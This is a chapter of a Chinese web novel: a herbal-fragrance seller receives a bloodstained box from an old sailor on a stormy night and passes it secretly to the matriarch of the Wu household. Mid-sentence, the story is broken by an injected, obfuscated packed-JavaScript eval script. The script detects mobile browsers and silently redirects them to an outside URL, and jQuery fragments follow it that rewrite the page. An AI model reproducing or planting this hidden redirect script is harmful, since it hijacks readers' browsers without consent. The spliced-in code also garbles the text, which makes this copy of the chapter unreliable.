88. 雨夜来客与吴府深意

作品:《红楼之贾府丫鬟要上位

    与“广源号”吴府的合作,如同在苏璃平淡却紧绷的生活中,注入了一股清泉。


    订单稳定,价格优渥,结算及时,更难得的是那份被认可与尊重的感觉。吴老夫人指定的几样定制香品——为老夫人调制的、带有安神檀香气息的宁神香膏,为两位夫人喜爱的、融合了茉莉与栀子清甜的花香皂,以及为几位小小姐准备的、气味柔和可爱的羊奶润肤膏——苏璃都倾注了十二分的心思。她选取园中最新鲜洁净的原料,反复调试配比,确保香气雅致持久,质地细腻温润。


    第一批成品送到吴府,不过三日,李管事便亲自登门,脸上带着比往日更甚的笑意,不仅结清了货款,还带来了新的需求——府中几位管事娘子见了也喜欢,想订一批稍次一等的,分给下人用,数量不少。此外,老夫人还让传话,说她娘家一位侄孙即将成婚,想请苏璃帮着调配一批喜庆又不失雅致的“婚庆”香囊和熏香,作为添妆及宴客回礼之用。


    这已不仅仅是买卖,更带上了几分“自己人”的信赖与托付。苏璃心中感念,自是尽心竭力,将婚庆香囊设计得精巧喜庆,用了寓意吉祥的肉桂、丁香、喜庆的红豆蔻,又以少量金盏菊花瓣点缀,香气馥郁温暖。熏香则选用了清甜的橙花与沉稳的雪松,寓意新婚和美,家宅安宁。


    吴府这边顺风顺水,苏璃手头的活钱也宽裕起来。她添置了些必要的制药工具,如更精细的铜杵臼、一批大小均匀的瓷罐、以及一架小石磨。又将药草园向东边扩了半亩,新雇了一个手脚麻利的妇人帮忙料理园子和晾晒草药。


    板儿如今俨然是小半个“少东家”,不仅能看摊算账,还能帮着管理园子的短工,安排简单的活计。巧姐儿也到了开蒙的年纪,苏璃咬咬牙,请巷子里一位读过几年书、因家道中落流寓此地的老秀才,每日教巧姐儿和邻近两家的孩子认些简单的字,读点《三字经》、《千字文》。


    日子蒸蒸日上,仿佛一切都在朝着最好的方向发展。然而,码头税关那幅画像的阴影,以及近来在陋巷附近隐约出现的生疏面孔,始终是苏璃心头挥之不去的隐忧。她与吴府的亲近,或许能带来一些震慑,但若真被那些北边的探子或他们借助的葡萄牙势力盯上,后果难料。她只能更加小心,尽量减少独自外出,尤其避开码头区域。


    就在这种表面平静、内里紧绷的平衡中,一个暴雨如注的深夜,变故陡生。


    那夜雷声隆隆,雨水如同瓢泼般砸在棕榈叶和瓦片上,发出震耳欲聋的声响。苏璃刚哄睡了被雷声惊醒的巧姐儿,自己正倚在灯下,核对着给吴府下一批货的原料清单。板儿已在隔壁小屋睡熟。


    忽然,一阵极其轻微、却不同于雨打门窗的叩击声,从后门传来。笃、笃、笃……三下,停顿,又两下。节奏有些熟悉。


    苏璃的心猛地一跳。这叩门暗号……在“福海号”上,老余头似乎用过类似的?


    她瞬间警觉,吹熄了油灯,摸黑悄步走到后门边,侧耳倾听。门外只有哗哗的雨声。


    “谁?”她压低声音问。


    门外静默了片刻,一个嘶哑得几乎被雨声吞没的声音响起,带着浓重的疲惫和……一丝难以言喻的焦灼:“是我……老余头。”


    真是他!苏璃的心提到了嗓子眼。她犹豫了一瞬,想到船上老余头那深不可测却又在关键时刻多次出手相助的过往,想到雨夜他冒险前来,终究还是轻轻抽开了门闩。


    门刚开一条缝,一股湿冷的水汽便裹挟着一个沉重冰凉的东西,塞了进来。苏璃下意识接住,是一个用油布包裹得严严实实、约莫一尺见方、入手沉甸甸的小木匣。油布上还带着浓重的海腥和……一丝若有若无的血腥气?


    借着门外闪电刹那的惨白光芒,她看到老余头佝偻的身影站在瓢泼大雨中,浑身湿透,花白的头发紧贴在头皮上,脸色是一种不正常的青白,嘴唇紧抿,眼神却比在船上时更加锐利迫人,仿佛燃烧着最后的精力。他根本没打算进门,只是将那木匣塞给苏璃,用尽力气般,急促而清晰地说道:


    “速交吴府老夫人!亲手交给她!莫经他人!也……莫问来处!”每一个字都像是从肺腑里挤出来,带着不容置疑的决绝。“事毕之后……若有人问起此匣,或问起我……你只说,从未见过,一概不知!切记!”


    说完,他根本不给苏璃任何询问或反应的时间,猛地转身,如同一道融入雨夜的鬼影,几个踉跄却异常迅速的起落,便消失在巷尾无边的黑暗与暴雨之中。只有地上蜿蜒的泥水痕迹,和手中这冰冷沉重、透着不祥气息的木匣,证明他曾经来过。


    苏璃站在门内,浑身冰凉,心脏在胸腔里狂跳不止。雨水顺着门缝打湿了她的裙角,她却浑然不觉。老余头最后那几句话,那惨白而决绝的脸色,还有这透着血腥与海腥的木匣……这一切都指向一个巨大的、危险的秘密!这木匣里是什么?老余头为何要她转交吴老夫人?吴老夫人与老余头,与这秘密,又是什么关系?


    无数的疑问和惊惧瞬间淹没了她。但老余头最后的警告言犹在耳——“莫问来处”、“一概不知”。她知道,自己已被卷入一个远超她想象和能力的漩涡边缘。此刻,任何多余的好奇或犹豫,都可能带来灭顶之灾。


    她深吸几口冰冷的、带着湿气的空气,强迫自己冷静下来。当务之急,是按照老余头的嘱托,将这个烫手的山芋,安全地送到吴府老夫人手中。至于之后是福是祸,只能走一步看一步。


    她不敢点灯,摸索着用干布将木匣上的雨水仔细擦干,又找出一块干净的旧包袱皮,将它重新包好,藏在床下最隐秘的角落。这一夜,她几乎未曾合眼,耳中尽是隆隆雷声和哗哗雨响,脑海中反复回放着老余头那惊鸿一瞥的惨白面容和急促的叮嘱。


    次日一早,雨势稍歇,天色依旧阴沉。苏璃将板儿和巧姐儿托付给林阿婆,只说要去吴府送新调的香样。她将那包袱仔细系好,挎在臂弯里,外面又罩上一个寻常的竹篮,装作去市集买菜的模样,出了门。


    一路上,她格外警惕,留意着身后是否有人跟踪。所幸,并无异常。来到吴府侧门,她向门房道明来意,说是老夫人之前吩咐的香样有了新进展,特来请老夫人过目。因是常客,又带着老夫人的交代,门房很快通传,李管事亲自出来,将她引了进去。


    依旧是在后院花厅,吴老夫人今日气色似乎不大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214979|192429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好,眉宇间带着一丝倦色,但见到苏璃,还是露出了温和的笑意:“柳娘子来了,可是香样制好了?”


    苏璃上前行礼,从竹篮中取出几样确实新制的、用于掩饰的香膏样本,请老夫人过目。同时,她趁李管事和丫鬟不注意的间隙,上前一步,将臂弯里那个看似普通的包袱,极快极轻地放在了老夫人手边的矮几上,用只有两人能听到的声音,低低道:“老夫人,昨夜有位……故人,托民妇务必亲手将此物交予老夫人。他说……莫经他人,莫问来处。”


    吴老夫人脸上的笑容瞬间凝住,眼神骤然变得锐利如电,飞快地扫了一眼那包袱,又深深看了苏璃一眼。那目光复杂难明,有惊疑,有审视,更有一种苏璃看不懂的了然与沉重。但只是一瞬,老夫人便恢复了常态,仿佛什么都没发生,只轻轻“嗯”了一声,顺手将一件搭在椅背上的披肩,盖在了那包袱之上。


    “香样我瞧了,甚好。就按这个方子,先制五十盒宁神膏,三十盒花香皂。婚庆的香囊和熏香,也按你之前的样儿,各备一百份。”老夫人语气如常地吩咐着,仿佛刚才那惊心动魄的一幕从未发生。“李管事,带柳娘子去前厅,把定金和用料单子一并核了。”


    “是,老夫人。”李管事躬身应道。


    苏璃心中巨石落地,知道老夫人已明白其中关窍,并且接下了这个烫手山芋。她不敢多留,行礼告退,跟着李管事去了前厅。核单、收定金、寒暄,一切如常。只是李管事在送她出门时,忽然压低声音,快速说了一句:“老夫人让我转告柳娘子,近日天阴湿滑,出门在外,多加小心。铺子里的货,按时送来便是,其余琐事,不必挂心。”


    这是在告诉她,吴府会处理木匣之事,并且暗示她,近期要谨慎行事,吴府会继续与她合作,以作掩护和回护。


    走出吴府,虽然天空依旧阴云密布,但苏璃却觉得心头那沉甸甸的压迫感,减轻了大半。木匣已送出,最大的风险已经转移。吴老夫人那沉稳的反应和李管事的暗示,也让她明白,吴家并非对此毫无准备,甚至可能一直在等待着什么。


    老余头、神秘木匣、吴老夫人……这三者之间,必然有着极深的、不为人知的关联。苏璃无意深究,那超出了她的能力范围。但经此一事,她与吴府的关系,显然已不再是简单的买卖合作。她递送木匣的行为,无论自愿与否,都已将自己与吴家,更紧密地绑在了一起。是福是祸,尚难预料,但至少眼下,吴府这座靠山,似乎比之前更加“实在”了一些。


    回到陋巷,生活依旧。她继续打理药草园,炮制香料,照顾孩子们。只是心中那份警惕,提到了最高。她让板儿和雇工也留意着园子周围的陌生人,嘱咐巧姐儿只在巷子里玩。


    几天过去了,风平浪静。码头税关的流言似乎也淡了些。吴府那边,李管事按时来取了货,结了款,态度如常,只字未提木匣之事。老余头也再未出现,仿佛那雨夜的来访只是一场幻梦。


    然而,苏璃知道,有些事情已经改变了。她平静生活的水面之下,那暗流的涌动,或许才刚刚开始。而她,在不知不觉中,已身处这暗流边缘,与一艘更大的船,产生了微妙的联系。